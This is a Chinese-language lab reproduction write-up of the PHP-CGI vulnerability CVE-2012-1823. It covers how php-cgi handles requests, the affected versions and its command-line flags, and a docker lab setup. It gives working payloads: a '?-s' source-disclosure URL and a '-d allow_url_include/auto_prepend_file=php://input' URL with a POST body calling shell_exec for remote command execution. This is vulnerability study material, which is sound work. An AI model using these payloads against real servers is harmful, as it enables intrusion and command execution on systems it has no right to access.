漏洞原理
- php-cgi是一个类似于消息的“传递者”,它接收web容器收到的http数据包,并把里面的数据交给PHP解释器执行。
- php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。
- cgi方式:web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork除一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,然后子进程结束,但是这个cgi模式不能接收同时接收大量的请求,因为创建进程的时候会消耗服务器资源,资源也不是无限的,所以有了fastcgi
- fastcgi方式:fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接收数据包,执行后返回结果,但自身并不退出。
- CVE-2012-1823就是存在于以cgi模式运行的php中。
- 本质是用户请求的参数被作为了php-cgi的参数。
漏洞影响
- 影响版本 php < 5.3.12 or php < 5.4.2
漏洞利用
CGI模式下有如下一些参数可用
- -c 指定php.ini文件的位置
- -n 不要加载php.ini文件
- -d 指定配置项
- -b 启动fastcgi进程
- -s 显示文件源码
- -T 执行指定次该文件
- -h和-?显示帮助
我们通过-d利用远程文件包含来提交远程执行代码从而利用该漏洞。
漏洞复现
启动环境:
-
docker-compose
up -d
-
docker
ps
我们根据映射的端口访问:http://192.168.41.138:8080/
使用-s查看源码,也就是
http://192.168.41.138:8080/index.php?-s 查看源码如下:
使用-d执行命令,输入如下payload:
http://192.168.41.138:8080/index.php-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
POST部分:<?php echo shell_exec('[你想要输入的命令]'); ?>
然后抓包修改,提交方式改为POST;
pwd
复现完毕。别忘了移除环境:
-
docker-compose
down
-
docker
ps
ok!
参考复现:漏洞复现
转载:https://blog.csdn.net/weixin_45253622/article/details/117083751
查看评论